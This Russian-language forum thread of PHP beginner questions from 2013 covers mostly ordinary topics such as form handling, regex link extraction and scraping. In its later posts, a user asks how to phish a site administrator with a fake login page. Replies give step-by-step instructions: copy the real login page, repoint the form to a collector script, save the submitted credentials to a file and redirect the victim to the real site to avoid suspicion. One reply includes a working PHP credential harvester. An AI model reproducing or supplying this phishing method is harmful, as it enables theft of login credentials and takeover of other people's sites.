[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. antras2007

    antras2007 New Member

    Joined:
    4 Jul 2013
    Messages:
    33
    Likes Received:
    0
    Reputations:
    0

    че то не получается. не могли бы вы показать как это вставить в мой код?
    Я сделал так:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
    <head>
    <title>Таблица умножения</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    </head>
    <body>
    <h1>Таблица умножения</h1>
    <form action="<?php echo $_SERVER['PHP_SELF']?>" method="post">
    <input type="text" name="rows">
    <input type="text" name="cols">
    <input type="submit" name="submit" value="Умножить">
    </form>


    <?php
    if (isset($_POST['rows']) && !empty($_POST['rows']) ) {
    $rows = trim(strip_tags($_POST['rows']));
    }
    if (isset($_POST['cols']) && !empty($_POST['cols']) ) {
    $cols = trim(strip_tags($_POST['cols']));
    }
    echo "<p>";
    echo "<table border='1' align='center'>";
    for($tr=1; $tr<=$rows; $tr++){
    echo "<tr>";
    for($td=1; $td<=$cols; $td++){
    if($tr==1 or $td==1)
    echo "<th style='background: red'>".$tr*$td."</th>";
    else
    echo "<td style='background: yellow'>".$tr*$td."</td>";
    }
    echo "</tr>";
    }

    echo "</table>";
    echo "</p>";

    ?>
    </body>
    </html>
    но теперь другая ошибка
    Notice: Undefined variable: rows in D:\cod\test\self\table_self.php on line 25
     
    #21961 antras2007, 16 Dec 2013
    Last edited: 16 Dec 2013
  2. I_I

    I_I Member

    Joined:
    22 Nov 2013
    Messages:
    67
    Likes Received:
    6
    Reputations:
    1
    Привет всем

    Помогите сделать скрипт.

    Есть такой код
    HTML:
    <div class="sg-nav">
    	<i class="icon-paging-prev sg-prev"></i>
    	<i class="icon-paging-next sg-next"></i>
    				
        <span class="sg-counter"><span class="sg-pos">1</span> / 1</span>
    
    у него
    HTML:
    <span class="sg-counter"><span class="sg-pos">1</span> / 1</span>
    равен 1, это значит 1 картинка. Так вот если он равен 1, код
    HTML:
    <div class="sg-nav">
    должен быть
    HTML:
    display:none;
    если он будет равен 2 или 30, то не чего менять не нужно.
     
    #21962 I_I, 16 Dec 2013
    Last edited: 17 Dec 2013
  3. Jazz

    Jazz Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    80
    Likes Received:
    2
    Reputations:
    -1
    $file = file_get_contents не работает на гугле.
    Может кто знает как вытащить из него все ссылки по определенному запросу?(или исходник).
    Кстати прогами для скачивания "сайтов полностью" тоже не полусается.
    И как посмотреть все страници которые он нашел , а не первые 50?
     
  4. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    делай через сокеты или curl с польной эмуляцией под пользователя, то бишь передавай юзерагента хотя бы и принимай куки.

    никак, только менять запрос с подстановкой ключевого слова. Допустим ты парсишь все ссылки которые вида:
    кейворд меняешь и получаешь разные результаты всегда.
     
    1 person likes this.
  5. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    29
    Likes Received:
    43
    Reputations:
    0
    b3 спасибо, теперь работает.
    Я не пойму теперь как вывести надпись что сообшение отправлено. Когда пишу так

    PHP:
    if (isset($_POST['name']) && !empty($_POST['name']) ) {   
        
    $login $_POST['name'];  
        if (
    $login == '') { unset($name);} 
        
    $text ="\n\n---------------------\n" $text
        
    $file fopen ("file.txt""a+");  
        
    fwrite ($file,$text);  
        
    fclose ($file);  
        echo 
    'сообщение отправлено';
        } 
    То надпись постоянно на странице, даже если не отправляешь ничего.
     
  6. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    У меня вопрос: допустим,я написал движок форума ну или какой-нибудь пхп-скрипт. как известно,он смотрится не очень достойной,а хотелось бы красивее. Как же сверстать php-скрипт с помощью css и html? (html/css для вёрстки знаю достаточно)
     
  7. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    Точно идет GET запрос, м. форма перенаправляется?
     
  8. Jazz

    Jazz Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    80
    Likes Received:
    2
    Reputations:
    -1
    Из файла нужно выдернуть все ссылки.
    preg_match ищет только одну по шаблону и в match записывает куски строки найденой строки.
    Как поместить в массив каждую подходящую строку?
    match[0] -первое совпадение
    match[1] - второе
    и т.д.
    В планах записать с помощью цикла все совпадения в файл.
     
  9. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    http://www.php.net/manual/ru/function.preg-match-all.php
     
  10. ocheretko

    ocheretko Banned

    Joined:
    15 May 2010
    Messages:
    144
    Likes Received:
    51
    Reputations:
    116
    preg_match_all('/href\=\"(.+?)\"/', $file, $result, PREG_PATTERN_ORDER);
    print_r($result[1]);
     
  11. I_I

    I_I Member

    Joined:
    22 Nov 2013
    Messages:
    67
    Likes Received:
    6
    Reputations:
    1
    :(

    А мне не кто не поможет?
     
  12. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    Мне необходимы видеоуроки/книги по созданию cms с помощью php (создание движков,например,интернет магазинов, городских порталов,форумов и т.д). Не могу найти стоящие.
     
  13. Ak_SayRenS

    Ak_SayRenS New Member

    Joined:
    20 Nov 2011
    Messages:
    35
    Likes Received:
    1
    Reputations:
    0
    Нужна помощь. Надо сделать стату сайта: к-ство посещение сайта за день, к-ство посещение сайта за неделю, к-ство посещение сайта за месяц..
     
  14. ocheretko

    ocheretko Banned

    Joined:
    15 May 2010
    Messages:
    144
    Likes Received:
    51
    Reputations:
    116
    Сформулируйте Ваш вопрос более четко, ничего не понятно
     
  15. Gr1me

    Gr1me New Member

    Joined:
    17 Jan 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Добрый день уважаемые )
    Такой вопрос:
    Хочу обвести администратора сайта, точнее хочу ему на мыло бросить фейк типо его сайта. НА фейке типо Авторизация на его сайте (фейк )
    Ребят как сделать что бы данные которые он ввел мне приходили на сниффер либо на мыло ?
    Спасибо
     
  16. fl47590

    fl47590 Member

    Joined:
    15 Nov 2013
    Messages:
    54
    Likes Received:
    8
    Reputations:
    0
    Возможно, для создания фейка пригодится: http://forum.antichat.ru/threadnav44845-1-10.html.
    Чтобы данные падали на сниффер, учитывая тот факт, что сайт будет твой - это просто запись в файл (http://php.net/file_put_contents) и редирект на настоящий сайт.

    По самой затее - имхо, вероятность того, что админ введет данные на фейк-сайте стремится к нулю.
     
  17. Gr1me

    Gr1me New Member

    Joined:
    17 Jan 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0

    Спасибо конечно, но сылочка уже застарела. А мне именно для Ucoz надо
     
  18. fl47590

    fl47590 Member

    Joined:
    15 Nov 2013
    Messages:
    54
    Likes Received:
    8
    Reputations:
    0
    Не совсем понял про "застарела" - старая тема или по ссылке 404? Если второе, то там есть прикрепленный к посту файл.
    Чтобы сделать то, что ты хочешь без использование anyFake - сохраняешь страницу авторизации, поправляешь ее, если что-то уехало после сохранения, при необходимости вносишь правки в текст, меняешь адрес отправки формы авторизации на адрес своего скрипта (сборщика паролей).
    По скрипту - элементарно, сохраняешь данные от пользователя в файл (уже давал ссылку на PHP-функцию), даешь пользователю редирект на настоящий сайт (для беспалевности):
    PHP:
    header('Location: http://realsite.com/adminko/');
    P. S. В укозе не в зуб ногой (к счастью), но метод описанный мной - универсален.
     
    #21978 fl47590, 20 Dec 2013
    Last edited: 20 Dec 2013
  19. Gr1me

    Gr1me New Member

    Joined:
    17 Jan 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    НЕ качает файлы, а тот что вложен поврежден.
    По подробнее можешь расписать ?
     
  20. Orl4ck

    Orl4ck New Member

    Joined:
    26 Nov 2007
    Messages:
    8
    Likes Received:
    4
    Reputations:
    0
    1. сохраняешь страницу с сайта админа.
    2. приводишь ее внешний вид в порядок если сбился дизайн
    3. правишь адрес куда отправляются данные с формы на свой файл (приемщик пусть назовем)
    4. создаешь файл приемщик (яндекс "сохранить post данные в txt php")
    пример:

    <?php
    if ($_POST['content'])
    {
    $file=fopen('content.txt','w');
    fputs($file,$_POST['content']);
    fclose($file);
    header('Location: http://realsite.com/adminko/');
    };
    }?>
    5. вот и все
     
Thread Status:
Not open for further replies.